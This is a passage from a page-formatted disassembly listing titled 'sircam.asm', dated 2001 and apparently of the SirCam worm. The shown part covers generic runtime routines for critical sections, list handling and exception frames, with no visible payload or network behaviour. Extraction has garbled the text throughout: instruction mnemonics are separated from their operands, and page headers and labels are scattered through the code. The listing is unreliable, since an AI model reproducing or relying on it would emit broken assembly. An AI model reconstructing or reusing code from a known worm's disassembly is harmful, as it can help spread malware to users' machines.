short loc_40C335
mov
edx, [ebx+4]
lea
edx, [edx+eax*4]
mov
ecx, esi
sub
ecx, eax
mov
eax, ecx
shl
eax, 2
xor
ecx, ecx
xchg
eax, edx
call
sub_4028D4
jmp
short loc_40C34C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C335:
; CODE XREF: sub_40C2E4+36\030j
mov
dec
mov
sub
jg
dec
ebp, eax
ebp
edi, esi
edi, ebp
short loc_40C34C
edi
mov
mov
call
dec
inc
jnz
edx, ebp
eax, ebx
sub_40C11C
ebp
edi
short loc_40C33F
loc_40C33F:
loc_40C34C:
; CODE XREF: sub_40C2E4+66\031j
; CODE XREF: sub_40C2E4+4F\030j
; sub_40C2E4+58\030j
sircam.asm
sub_40C2E4
Fri Aug 10 12:42:44 2001
mov
pop
pop
pop
pop
retn
endp
330
[ebx+8], esi
ebp
edi
esi
ebx
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C358
proc near
; CODE XREF: CODE:0040E4BD\031p
; CODE:0040E4DF\031p ...
push
push
test
jz
add
call
ebx
esi
dl, dl
short loc_40C366
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
xor
mov
call
lea
push
call
mov
mov
call
mov
mov
mov
test
jz
call
pop
add
; CODE XREF: sub_40C358+4\030j
ebx, edx
esi, eax
edx, edx
eax, esi
sub_402BAC
eax, [esi+8]
eax
j_InitializeCriticalSection_0
dl, 1
eax, ds:off_40B8BC
sub_402BAC
[esi+4], eax
byte ptr [esi+20h], 0
eax, esi
bl, bl
short loc_40C3A4
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_40C366:
loc_40C3A4:
sub_40C358
; CODE XREF: sub_40C358+3B\030j
mov
eax, esi
pop
esi
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C3AC
proc near
var_5
var_4
= byte ptr -5
= dword ptr -4
push
mov
add
call
mov
mov
mov
ebp
ebp, esp
esp, 0FFFFFFF8h
sub_402D3C
[ebp+var_5], dl
[ebp+var_4], eax
eax, [ebp+var_4]
; DATA XREF: CODE:0040B968\030o
sircam.asm
Fri Aug 10 12:42:44 2001
call
xor
push
push
push
mov
mov
mov
call
mov
and
mov
call
xor
pop
pop
pop
mov
push
loc_40C3F9:
sub_40C3AC
331
sub_40C4B0
eax, eax
ebp
offset loc_40C40E
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
eax, [eax+4]
sub_402BDC
dl, [ebp+var_5]
dl, 0FCh
eax, [ebp+var_4]
sub_402BCC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C415
; CODE XREF: CODE:0040C413\031j
mov
eax, [ebp+var_4]
call
sub_40C514
mov
eax, [ebp+var_4]
add
eax, 8
push
eax
call
j_DeleteCriticalSection_0
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C40E:
; DATA XREF: sub_40C3AC+1C\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C3F9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C415:
cmp
jle
mov
call
; DATA XREF: sub_40C3AC+48\030o
byte ptr [ebp-5], 0
short loc_40C423
eax, [ebp-4]
sub_402D2C
loc_40C423:
; CODE XREF: CODE:0040C419\030j
pop
ecx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C428
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
mov
mov
call
xor
push
ebp
ebp, esp
ecx
ebx
ebx, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_40C4B0
eax, eax
ebp
; CODE XREF: sub_40C000+20\030p
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
mov
mov
cmp
jz
mov
mov
mov
call
inc
jnz
332
offset loc_40C4A4
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
byte ptr [eax+20h], 1
short loc_40C461
eax, [ebp+var_4]
eax, [eax+4]
edx, ebx
sub_40C268
eax
short loc_40C470
loc_40C461:
; CODE XREF: sub_40C428+27\030j
mov
eax, [ebp+var_4]
mov
eax, [eax+4]
mov
edx, ebx
call
sub_40C0D0
jmp
short loc_40C48E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C470:
mov
cmp
jnz
mov
mov
mov
mov
mov
call
; CODE XREF: sub_40C428+37\030j
eax, [ebp+var_4]
byte ptr [eax+20h], 2
short loc_40C48E
edx, ds:off_41DB84
eax, [ebp+var_4]
eax, [eax+4]
eax, [eax]
ecx, ebx
sub_40C1B8
loc_40C48E:
; CODE XREF: sub_40C428+46\030j
; sub_40C428+4F\030j
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C4AB
loc_40C49B:
sub_40C428
; CODE XREF: CODE:0040C4A9\031j
mov
eax, [ebp+var_4]
call
sub_40C514
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C4A4:
; DATA XREF: sub_40C428+15\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C49B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C4AB:
; DATA XREF: sub_40C428+6E\030o
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C4B0
proc near
push
mov
ebx
ebx, eax
; CODE XREF: sub_40BEA8+10\030p
; sub_40C3AC+14\030p ...
sircam.asm
sub_40C4B0
Fri Aug 10 12:42:44 2001
333
lea
eax, [ebx+8]
push
eax
call
j_EnterCriticalSection_0
mov
eax, [ebx+4]
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C4C4
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
mov
mov
call
xor
push
push
push
mov
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4154E0+79\031p
ebp
ebp, esp
ecx
ebx
ebx, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_40C4B0
eax, eax
ebp
offset loc_40C507
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
eax, [eax+4]
edx, ebx
sub_40C288
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C50E
loc_40C4FE:
sub_40C4C4
; CODE XREF: CODE:0040C50C\031j
mov
eax, [ebp+var_4]
call
sub_40C514
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C507:
; DATA XREF: sub_40C4C4+15\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C4FE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C50E:
; DATA XREF: sub_40C4C4+35\030o
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C514
proc near
; CODE XREF: sub_40BEA8+B2\030p
; sub_40C3AC+50\030p ...
sircam.asm
sub_40C514
Fri Aug 10 12:42:44 2001
334
add
eax, 8
push
eax
call
j_LeaveCriticalSection_0
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C520
proc near
push
push
call
mov
mov
mov
call
mov
and
mov
call
test
jle
mov
call
ebx
esi
sub_402D3C
ebx, edx
esi, eax
eax, esi
sub_40DD28
edx, ebx
dl, 0FCh
eax, esi
sub_402BCC
bl, bl
short loc_40C549
eax, esi
sub_402D2C
pop
pop
retn
endp
esi
ebx
loc_40C549:
sub_40C520
; CODE XREF: sub_40C6F0+1B\031p
; sub_415640+1A\031p
; DATA XREF: ...
; CODE XREF: sub_40C520+20\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C54C
proc near
; CODE XREF: sub_40C820+65\031p
; sub_415670+54\031p
; DATA XREF: ...
test
edx, edx
jz
short loc_40C556
xchg
eax, edx
mov
ecx, [eax]
call
dword ptr [ecx]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C556:
sub_40C54C
; CODE XREF: sub_40C54C+2\030j
xor
call
retn
endp
edx, edx
sub_40C560
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C560
proc near
var_114
var_110
= dword ptr -114h
= byte ptr -110h
; CODE XREF: sub_40C54C+C\030p
; CODE:0040C631\031p
sircam.asm
var_10C
var_108
var_104
var_4
Fri Aug 10 12:42:44 2001
=
=
=
=
335
dword ptr -10Ch
byte ptr -108h
byte ptr -104h
dword ptr -4
push
ebp
mov
ebp, esp
add
esp, 0FFFFFEECh
push
ebx
push
esi
xor
ecx, ecx
mov
[ebp+var_4], ecx
mov
esi, edx
mov
ebx, eax
xor
eax, eax
push
ebp
push
offset loc_40C616
push
dword ptr fs:[eax]
mov
fs:[eax], esp
test
esi, esi
jz
short loc_40C5A3
lea
edx, [ebp+var_104]
mov
eax, [esi]
call
sub_402B5C
lea
edx, [ebp+var_104]
lea
eax, [ebp+var_4]
call
sub_4036EC
jmp
short loc_40C5B0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C5A3:
lea
mov
call
; CODE XREF: sub_40C560+24\030j
eax, [ebp+var_4]
edx, offset dword_40C62C
sub_403560
mov
mov
mov
lea
mov
call
lea
mov
mov
lea
push
push
mov
mov
mov
call
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40C560+41\030j
eax, [ebp+var_4]
[ebp+var_114], eax
[ebp+var_110], 0Bh
edx, [ebp+var_104]
eax, [ebx]
sub_402B5C
eax, [ebp+var_104]
[ebp+var_10C], eax
[ebp+var_108], 4
eax, [ebp+var_114]
eax
1
ecx, ds:off_41DB9C
dl, 1
eax, ds:off_4067F8
sub_409548
sub_402F98
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C61D
loc_40C5B0:
loc_40C60D:
sub_40C560
; CODE XREF: CODE:0040C61B\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -12Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C616:
; DATA XREF: sub_40C560+17\030o
jmp
loc_402F60
sircam.asm
Fri Aug 10 12:42:44 2001
336
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C60D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C61D:
; DATA XREF: sub_40C560+A8\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 3
dword_40C62C
dd 6C696Eh
; DATA XREF: sub_40C560+46\030o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C630:
; DATA XREF: CODE:0040B9C4\030o
; CODE:0040BA94\030o ...
xchg
eax, edx
call
sub_40C560
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C63C
proc near
var_104
var_4
= byte ptr -104h
= dword ptr -4
push
mov
add
push
push
push
xor
mov
mov
mov
xor
push
push
push
mov
lea
mov
call
lea
mov
call
mov
mov
call
test
jz
mov
mov
call
lea
mov
call
cmp
jz
push
; DATA XREF: CODE:0040B9DA\030o
ebp
ebp, esp
esp, 0FFFFFEFCh
ebx
esi
edi
ecx, ecx
[ebp+var_4], ecx
edi, edx
esi, eax
eax, eax
ebp
offset loc_40C6D1
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_104]
eax, [esi]
sub_402B5C
edx, [ebp+var_104]
eax, edi
sub_4036EC
eax, esi
bx, 0FFFFh
sub_402C88
eax, eax
short loc_40C6BB
eax, esi
bx, 0FFFFh
sub_402C88
edx, [ebp+var_4]
bx, 0FFFEh
sub_402C88
[ebp+var_4], 0
short loc_40C6BB
[ebp+var_4]
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
mov
mov
call
offset dword_40C6E8
dword ptr [edi]
eax, edi
edx, 3
sub_4037E4
loc_40C6BB:
; CODE XREF: sub_40C63C+4A\030j
; sub_40C63C+67\030j
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C6D8
loc_40C6C8:
sub_40C63C
337
; CODE XREF: CODE:0040C6D6\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -124h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C6D1:
; DATA XREF: sub_40C63C+18\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C6C8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C6D8:
; DATA XREF: sub_40C63C+87\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_40C6E8
dd 2Eh
; DATA XREF: sub_40C63C+6C\030o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C6EC:
; DATA XREF: CODE:0040B9D6\030o
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C6F0
proc near
push
push
call
mov
mov
xor
mov
call
mov
and
mov
call
test
jle
mov
call
ebx
esi
sub_402D3C
ebx, edx
esi, eax
edx, edx
eax, esi
sub_40D0C8
edx, ebx
dl, 0FCh
eax, esi
sub_40C520
bl, bl
short loc_40C71B
eax, esi
sub_402D2C
; CODE XREF: sub_40D294+22\031p
; DATA XREF: CODE:0040BA90\030o
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40C71B:
sub_40C6F0
338
; CODE XREF: sub_40C6F0+22\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C720
sub_40C720
proc near
; DATA XREF: CODE:0040BAC8\030o
push
ebx
push
esi
push
edi
mov
edi, edx
mov
ebx, eax
mov
eax, ebx
mov
edx, [eax]
call
dword ptr [edx+14h]
mov
esi, eax
mov
ecx, edi
mov
edx, esi
mov
eax, ebx
mov
ebx, [eax]
call
dword ptr [ebx+54h]
mov
eax, esi
pop
edi
pop
esi
pop
ebx
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C744
proc near
sub_40C744
push
push
push
mov
mov
mov
mov
call
mov
mov
mov
mov
mov
call
mov
pop
pop
pop
retn
endp
; DATA XREF: CODE:0040BACC\030o
; CODE:0040BBEC\030o
ebx
esi
edi
edi, ecx
ebx, eax
eax, ebx
ecx, [eax]
dword ptr [ecx+34h]
esi, eax
ecx, edi
edx, esi
eax, ebx
ebx, [eax]
dword ptr [ebx+24h]
eax, esi
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sircam.asm
Fri Aug 10 12:42:44 2001
sub_40C768
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
339
; DATA XREF: CODE:0040BAD0\030o
; CODE:0040BBF0\030o
push
mov
add
push
push
push
xor
mov
mov
mov
xor
push
push
push
mov
mov
call
xor
push
push
push
mov
mov
mov
call
mov
dec
test
jl
inc
xor
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
ecx, ecx
[ebp+var_C], ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_40C80F
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
sub_40C890
eax, eax
ebp
offset loc_40C7F2
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_8]
edx, [eax]
dword ptr [edx+14h]
esi, eax
esi
esi, esi
short loc_40C7DC
esi
ebx, ebx
lea
mov
mov
mov
call
mov
push
mov
mov
mov
call
mov
mov
pop
mov
call
inc
dec
jnz
; CODE XREF: sub_40C768+72\031j
ecx, [ebp+var_C]
edx, ebx
eax, [ebp+var_8]
edi, [eax]
dword ptr [edi+0Ch]
eax, [ebp+var_C]
eax
edx, ebx
eax, [ebp+var_8]
ecx, [eax]
dword ptr [ecx+18h]
ecx, eax
eax, [ebp+var_4]
edx
edi, [eax]
dword ptr [edi+38h]
ebx
esi
short loc_40C7B2
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40C768+45\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C7F9
mov
eax, [ebp+var_4]
loc_40C7B2:
loc_40C7DC:
loc_40C7E9:
; CODE XREF: CODE:0040C7F7\031j
sircam.asm
sub_40C768
Fri Aug 10 12:42:44 2001
340
call
near ptr loc_40C947+5
retn
endp ; sp = -2Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C7F2:
; DATA XREF: sub_40C768+2D\030o
jmp
loc_402F60
